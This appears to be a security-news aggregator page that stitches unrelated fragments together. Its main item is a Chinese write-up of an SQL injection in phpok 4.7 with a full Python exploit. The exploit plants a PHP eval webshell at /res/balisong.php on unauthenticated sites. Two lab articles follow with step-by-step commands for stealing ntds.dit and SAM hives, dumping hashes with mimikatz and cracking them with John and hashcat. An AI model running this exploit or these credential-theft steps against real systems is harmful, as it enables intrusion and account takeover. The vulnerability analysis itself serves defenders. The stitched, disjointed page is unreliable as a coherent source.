Aggregator

As 2017 winds down, we all start looking ahead and anticipate what’s to come for 2018. For us at McAfee,...

The post Key Takeaways for Consumers From Our 2018 Threats Predictions Report appeared first on McAfee Blog.

In Part 3 of this blog series, we demonstrated modeling the threat landscape along with executive threat-modeling. In this blog, we discuss the importance of defining controls.

首发先知安全技术社区,博客同步一下。

简介

phpok是一款PHP开发的开源企业网站系统。
在phpok 4.7版本及以前，存在一个由注入导致的前台getshell漏洞。
目前官方最新版已经修补。

漏洞分析

在/framework/www/upload_control.php中第61行:

private function upload_base($input_name='upfile',$cateid=0) { $rs = $this->lib('upload')->getfile($input_name,$cateid); if($rs["status"] != "ok"){ return $rs; } $array = array(); $array["cate_id"] = $rs['cate']['id']; $array["folder"] = $rs['folder']; $array["name"] = basename($rs['filename']); $array["ext"] = $rs['ext']; $array["filename"] = $rs['filename']; $array["addtime"] = $this->time; $array["title"] = $rs['title']; $array['session_id'] = $this->session->sessid(); $array['user_id'] = $this->session->val('user_id'); $arraylist = array("jpg","gif","png","jpeg"); if(in_array($rs["ext"],$arraylist)){ $img_ext = getimagesize($this->dir_root.$rs['filename']); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); } $id = $this->model('res')->save($array); if(!$id){ $this->lib('file')->rm($this->dir_root.$rs['filename']); return array('status'=>'error','error'=>P_Lang('图片存储失败')); } $this->model('res')->gd_update($id); $rs = $this->model('res')->get_one($id); $rs["status"] = "ok"; return $rs; }

这是一个文件上传函数，然后在该函数开头又调用了getfile函数，跟进:

public function getfile($input='upfile',$cateid=0) { if(!$input){ return array('status'=>'error','content'=>P_Lang('未指定表单名称')); } $this->_cate($cateid); if(isset($_FILES[$input])){ $rs = $this->_upload($input); }else{ $rs = $this->_save($input); } if($rs['status'] != 'ok'){ return $rs; } $rs['cate'] = $this->cate; return $rs; }

如果存在上传文件就调用_upload函数，继续跟进:

private function _upload($input) { global $app; $basename = substr(md5(time().uniqid()),9,16); $chunk = $app->get('chunk','int'); $chunks = $app->get('chunks','int'); if(!$chunks){ $chunks = 1; } $tmpname = $_FILES[$input]["name"]; $tmpid = 'u_'.md5($tmpname); $ext = $this->file_ext($tmpname); $out_tmpfile = $this->dir_root.'data/cache/'.$tmpid.'_'.$chunk; if (!$out = @fopen($out_tmpfile.".parttmp", "wb")) { return array('status'=>'error','error'=>P_Lang('无法打开输出流')); } $error_id = $_FILES[$input]['error'] ? $_FILES[$input]['error'] : 0; if($error_id){ return array('status'=>'error','error'=>$this->up_error[$error_id]); } if(!is_uploaded_file($_FILES[$input]['tmp_name'])){ return array('status'=>'error','error'=>P_Lang('上传失败，临时文件无法写入')); } if(!$in = @fopen($_FILES[$input]["tmp_name"], "rb")) { return array('status'=>'error','error'=>P_Lang('无法打开输入流')); } while ($buff = fread($in, 4096)) { fwrite($out, $buff); } @fclose($out); @fclose($in); $app->lib('file')->mv($out_tmpfile.'.parttmp',$out_tmpfile.'.part'); $index = 0; $done = true; for($index=0;$index<$chunks;$index++) { if (!file_exists($this->dir_root.'data/cache/'.$tmpid.'_'.$index.".part") ) { $done = false; break; } } if(!$done){ return array('status'=>'error','error'=>'上传的文件异常'); } $outfile = $this->folder.$basename.'.'.$ext; if(!$out = @fopen($this->dir_root.$outfile,"wb")) { return array('status'=>'error','error'=>P_Lang('无法打开输出流')); } if(flock($out,LOCK_EX)){ for($index=0;$index<$chunks;$index++) { if (!$in = @fopen($this->dir_root.'data/cache/'.$tmpid.'_'.$index.'.part','rb')){ break; } while ($buff = fread($in, 4096)) { fwrite($out, $buff); } @fclose($in); $GLOBALS['app']->lib('file')->rm($this->dir_root.'data/cache/'.$tmpid."_".$index.".part"); } flock($out,LOCK_UN); } @fclose($out); $tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname); $title = str_replace(".".$ext,'',$tmpname); return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok'); }

其中 $ext = $this->file_ext($tmpname);是检测文件后缀的，看一下:

private function file_ext($tmpname) { $ext = pathinfo($tmpname,PATHINFO_EXTENSION); if(!$ext){ return false; } $ext = strtolower($ext); $filetypes = "jpg,gif,png"; if($this->cate && $this->cate['filetypes']){ $filetypes .= ",".$this->cate['filetypes']; } if($this->file_type){ $filetypes .= ",".$this->file_type; } $list = explode(",",$filetypes); $list = array_unique($list); if(!in_array($ext,$list)){ return false; } return $ext; }

上传是比较严格的，只允许上传后缀是jpg,png,gif这种图片后缀的文件，上传我们无法绕过，但是程序对于上传的文件名没有充份的过滤，在函数末尾，将文件名添加到了返回的数组中:

$tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname); $title = str_replace(".".$ext,'',$tmpname); return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok'); }

这里的$tmpname就是我们上传的文件名，注意，不是上传后的文件名，而是上传前的文件名，并且没有对该文件名过滤，然后返回。

我们回到开头，upload_base函数中去:

$rs = $this->lib('upload')->getfile($input_name,$cateid); if($rs["status"] != "ok"){ return $rs; } $array = array(); $array["cate_id"] = $rs['cate']['id']; $array["folder"] = $rs['folder']; $array["name"] = basename($rs['filename']); $array["ext"] = $rs['ext']; $array["filename"] = $rs['filename']; $array["addtime"] = $this->time; $array["title"] = $rs['title']; $array['session_id'] = $this->session->sessid(); $array['user_id'] = $this->session->val('user_id'); $arraylist = array("jpg","gif","png","jpeg"); if(in_array($rs["ext"],$arraylist)){ $img_ext = getimagesize($this->dir_root.$rs['filename']); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); } $id = $this->model('res')->save($array);

可以看到这里将返回值中的title的值赋值给了$array[‘title’],这个值是我们可控的，然后将$array带入到了save函数中，我们看一下该函数:

在/framework/model/res.php中第279行:

public function save($data,$id=0) { if(!$data || !is_array($data)){ return false; } if($id){ return $this->db->update_array($data,"res",array("id"=>$id)); }else{ return $this->db->insert_array($data,"res"); } }

将$data带入到了insert_array函数中，我们看一下该函数:

/framework/engine/db/mysqli.php中第211行:

public function insert_array($data,$tbl,$type="insert") { if(!$tbl || !$data || !is_array($data)){ return false; } if(substr($tbl,0,strlen($this->prefix)) != $this->prefix){ $tbl = $this->prefix.$tbl; } $type = strtolower($type); $sql = $type == 'insert' ? "INSERT" : "REPLACE"; $sql.= " INTO ".$tbl." "; $sql_fields = array(); $sql_val = array(); foreach($data AS $key=>$value){ $sql_fields[] = "`".$key."`"; $sql_val[] = "'".$value."'"; } $sql.= "(".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")"; return $this->insert($sql); }

就是将该数组中的键值遍历出来，将键作为字段名，将值作为对应字段的值。可以看到，对于值是没有进行转义的，其中包括我们可以控制的title的值，那么这里就产生了一个insert的注入。那么这个注入我们有什么用呢？当然首先想到的是一个出数据，但是对于update 或者insert注入，一般来说我会想办法将这个注入升级一下危害。注意这个注入是一个insert注入，并且insert语句是可以一次插入多条内容的，我们不能控制当前这条insert语句的内容，我们可以控制下一条的内容，比如说像这样:
Insert into file values(1,2,3,),(4,5,6)
那么我们控制下一条的内容有什么用，好，现在我们开始看/framework/www/upload_control.php中的第103行:

public function replace_f() { $this->popedom(); $id = $this->get("oldid",'int'); if(!$id){ $this->json(P_Lang('没有指定要替换的附件')); } $old_rs = $this->model('res')->get_one($id); if(!$old_rs){ $this->json(P_Lang('资源不存在')); } $rs = $this->lib('upload')->upload('upfile'); if($rs["status"] != "ok") { $this->json(P_Lang('附件上传失败')); } $arraylist = array("jpg","gif","png","jpeg"); $my_ext = array(); if(in_array($rs["ext"],$arraylist)) { $img_ext = getimagesize($rs["filename"]); $my_ext["width"] = $img_ext[0]; $my_ext["height"] = $img_ext[1]; } //替换资源 $this->lib('file')->mv($rs["filename"],$old_rs["filename"]); $tmp = array("addtime"=>$this->time); $tmp["attr"] = serialize($my_ext); $this->model('res')->save($tmp,$id); //更新附件扩展信息 $this->model('res')->gd_update($id); $rs = $this->model('res')->get_one($id); $this->json($rs,true); }

这里我们输入一个oldid的值，然后从res表中查找出这一行的数据，然后将我们上传的文件mv到$old_rs[‘filename’]。
mv函数的定义在/framework/libs/file.php中第264行:

public function mv($old,$new,$recover=true) { if(!file_exists($old)){ return false; } if(substr($new,-1) == "/"){ $this->make($new,"dir"); }else{ $this->make($new,"file"); } if(file_exists($new)){ if($recover){ unlink($new); }else{ return false; } }else{ $new = $new.basename($old); } rename($old,$new); return true; }

通过上文说到的，我们可以控制res表中的一行记录的值，那么这个filename也是我们可控的，那么我们如果将filename设置为/res/balisong.php。那么我上传的图片文件就会重新命名成/res/balisong.php。我们就达到了一个getshell的目的。

由于上传的文件名的特殊性。导致我们不能带有斜杠，那么怎么办呢？我们可以利用十六进制编码来绕过，具体的漏洞利用过程就不细说了，比较复杂，所以直接上exp：

#-*- coding:utf-8 -*- import requests import sys import re if len(sys.argv) < 2: print u"Usage: exp.py url [PHPSESSION]\r\nFor example:\r\n[0] exp.py http://localhost\r\n[1] exp.py http://localhost 6ogmgp727m0ivf6rnteeouuj02" exit() baseurl = sys.argv[1] phpses = sys.argv[2] if len(sys.argv) > 2 else '' cookies = {'PHPSESSION': phpses} if baseurl[-1] == '/': baseurl = baseurl[:-1] url = baseurl + '/index.php?c=upload&f=save' files = [ ('upfile', ("1','r7ip15ijku7jeu1s1qqnvo9gj0','30',''),('1',0x7265732f3230313730352f32332f,0x393936396465336566326137643432352e6a7067,'',0x7265732f62616c69736f6e672e706870,'1495536080','2.jpg", '<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')), ] files1 = [ ('upfile', ('1.jpg', '<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')), ] r = requests.post(url, files=files, cookies=cookies) response = r.text id = re.search('"id":"(\d+)"', response, re.S).group(1) id = int(id) + 1 url = baseurl + '/index.php?c=upload&f=replace&oldid=%d' % (id) r = requests.post(url, files=files1, cookies=cookies) shell = baseurl + '/res/balisong.php' response = requests.get(shell) if response.status_code == 200: print "congratulation:Your shell:\n%s\npassword:balisong" % (shell) else: print "oh!Maybe failed.Please check"

系统默认是不需要注册登录即可上传文件的。

结语

其实这种情况还是蛮多的，有些系统会将上传前的文件名入库，如果过滤不当，就可以注入了。并且insert，update这种注入危害是可以进一步扩大的。

Ride-sharing apps are one of the most successful innovations of the modern digital age. Practically everyone who has a smart...

The post The Uber Data Breach: What Consumers Need to Know appeared first on McAfee Blog.

Seriously, how many colors are there? And how many of us share the same love of one of those limited choices?

Learn about the tricks attackers use to dupe unsuspecting users and how you can help protect them&mdash;and your organization.

好久不见，一个月没更新了...都是因为懒。今天介绍几种不同开源蜜罐的特点和能采集到的数据样例。

CISOs who fail to prioritize security awareness training are putting their business and assets at serious risk.

Today, we released security updates to provide additional protections against malicious attackers. By default, Windows 10 receives these updates automatically, and for customers running previous versions, we recommend they turn on automatic updates as a best practice. More information about this month’s security updates can be found in the Security Update Guide.

Today, we released security updates to provide additional protections against malicious attackers. By default, Windows 10 receives these updates automatically, and for customers running previous versions, we recommend they turn on automatic updates as a best practice. More information about this month’s security updates can be found in the Security Update Guide.

使用syslog-ng和HF（UF）收集syslog日志（二）源端（Nginx）配置

Proposed legislation could change existing laws that bars victims of hacking attacks from striking back.

创新是安全行业的永恒话题，无论是业界大佬还是刚入行新兵都会津津乐道；但对创业者来讲，创新难免是痛苦煎熬的抉择。

Recently Thycotic sponsored a webinar titled "Kali Linux: Using John the Ripper, Hashcat and Other Tools to Steal Privileged Accounts".  During the webinar Randy spoke about the tools and steps to crack Active Directory domain accounts.  Here are the steps we used to do so.Creating a shadow copy of ntds.dit and the SYSTEM fileOn our domain controller we will steal the Ntds.dit file using VSSAdmin.  First we need to open an elevated command prompt.  Then we will create a copy using VSS.  Run “vssadmin create shadow /for=C:”


Using the “Shadow Copy Volume Name:” we need to extract ntds.dit using “copy ShadowCopyVolumeNameHere\windows\ntds\ntds.dit c:\files”  Note that you must use a valid target location for the copy.  In the screenshot I used c:\Files and received an error because it does not exist.  Using C:\junk, an existing directory, it worked.


We also need a copy of the SYSTEM file.  You can easily retrieve this running “reg save hklm\system c:\junk”.


You should delete the shadow copy if you are done with it.


Copy your system file and ntds.dit from Windows to your Kali Linux box.  Ignore pwd.txt since that is from other testing.

 
Extracting the data tables from ntds.dit using libesedb and esedbexportNow we need libesedb to extract the tables from the ntds.dit file.  If you don’t already have this installed you can get it with the following commands:  “git clone https://github.com/libyal/libesedb.git”


Now navigate to that directory using “cd libesedb/” 


We must first install the other pre-req’s using “apt-get install git autoconf automake autopoint libtool pkg-config build-essential”


Run ./synclibs.sh


Run ./autogen.sh


Run chmod +x configure


Run ./configure


Run make


Run sudo make install


Run ldconfig


Navigate to cd /usr/local/bin/


Export the tables from ntds.dit by running “esedbexport -m tables /root/ntds.dit”


Copy the /usr/local/bin/ntds.dit.export folder to /root/.

 Extracting the AD user account hashes using NTDSXtractNext we have to download NTDSXtract by running this command wget https://github.com/csababarta/ntdsxtract/archive/e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip


Unzip the file by running “unzip e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip”.


Then navigate to the directory you’ve extracted it to and “cd ntdsxtract-e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip/”.


Now you must run the python script in that folder using the files you have created.  The command is “python dsusers.py /root/ntds.dit.export/datatable.4 /root/ntds.dit.export/link_table.7 /root/hashdumpwork --syshive /root/system --passwordhashes --lmoutfile /root/lm-out.txt --ntoutfile /root/nt-out.txt --pwdformat ophc
You may have to substitute file paths if you have exported or moved the datatable files.  The paths after lmoutfile and nt-outfile are output locations.

You will now have lm-out.txt and nt-out.txt files in your home directory.

 Cracking the Hashes - Using JohnnyIn Kali under Password Attacks open Johnny. 


Click Open password file and select the (PASSWD format) option. 


Select the nt-out.txt from the earlier steps and click Open. 


You should now see a list of user accounts and hashes displayed. 


Click on the Start new attack button and you should get passwords returned in the Password column.  
Note:  There are various types of attack methods under Options and a vast amount of wordlists available online.  Since this is our production environment and we use very complex passwords, we entered a few known passwords in to a custom wordlist dictionary file to expedite the cracking process.


Cracking the Hashes Using JohnIn Kali under Password Attacks open John

 Run the following command:  john --rules=all --format=nt.old --fork=2 nt-out.txt  
As you can see in the screenshot below, John will start to crack user passwords.  You can see that someone in our domain has been creating test accounts using the same password of abc123$$. 

  Cracking the Hashes Using HashcatIn Kali under Password Attacks open hashcat.


Run the following command:  hashcat -m 1000 -a 0 nt-out.txt -o pwdhashcat.txt rockyou.txt --force --attack-mode 3 
-m is our hash type-a 0 is our attack mode set to straight --attack-mode 3 was also used which is a brute-force attackNt-out.txt is our file from earlier steps that contains the userid’s and hashes-o is our output file which will be named pwdhashcat.txtRockyou.txt is our downloaded dictionary file.  - This was downloaded off the web for this step.
Hashcat then began a brute force and dictionary attack.  You will able to see it attempting to crack password after password after password in the terminal window.  



This article was contributed by Barry Vista ([email protected])

Recently Thycotic sponsored a webinar titled "Kali Linux: Using John the Ripper, Hashcat and Other Tools to Steal Privileged Accounts".  During the webinar Randy spoke about the tools and steps to crack local windows passwords.  Here are the steps we used to do so.Extracting a copy of the SYSTEM and SAM registry hivesWe need to extract and copy the SYSTEM and SAM registry hives for the local machine.  We do this by running “reg save hklm\sam filename1.hiv” and “reg save hklm\security filename2.hiv”. 

Dumping the hashes with Mimikatz and LSAdumpNow we must use mimikatz to dump the hashes.


We need to run “lsadump::sam filename1.hiv filename2.hiv” from step 1 above.  But as you can see in the screenshot below we get an error.  This is because we do not have the proper access.


We must run at elevated privileges for the command to run successfully.  We do this by running “privilege::debug” and then “token::elevate”.


Now run “log hash.txt” so that your next command will output to a txt file.


Now we can run the “lsadump::sam filename1.hiv filename2.hiv” from step 1 above successfully.  It will display the username and hashes for all local users.


Navigate to the directory where mimikatz is located on your machine.  In my instance it’s located in C:\Users\BarryVista\Downloads\mimikatz\x64.  Here you will find the output in the hash.txt file.


We need to edit the contents of this file to display only the username and hash in this format – username:hash



Copy this file to your Kali Linux box home folder.

Cracking the hashes using HashcatRun hashcat with this command: hashcat -m 1000 -a 0 --force --show --username hash.txt wordlist1.lst 

-m 1000 = hash type, in this case 1000 specifies a NTLM hash type
-a 0 = Straight attack mode
--force = ignore warnings
--show = compares hashlist with potfile; show cracked hashes
--username = enables ignoring of usernames in hashfile
hash.txt = our file with the username:hash information
wordlist1.lst = our word list with the passwords.
As you can see in the screenshot below we end up with the username, hash and password.
In this lab demo, we created a custom wordlist that contained our passwords with the exception of our real administrator password which is why it isn’t displayed. There are multiple sources on the web to download dictionary lists used for password cracking.



This article was contributed by Barry Vista ([email protected])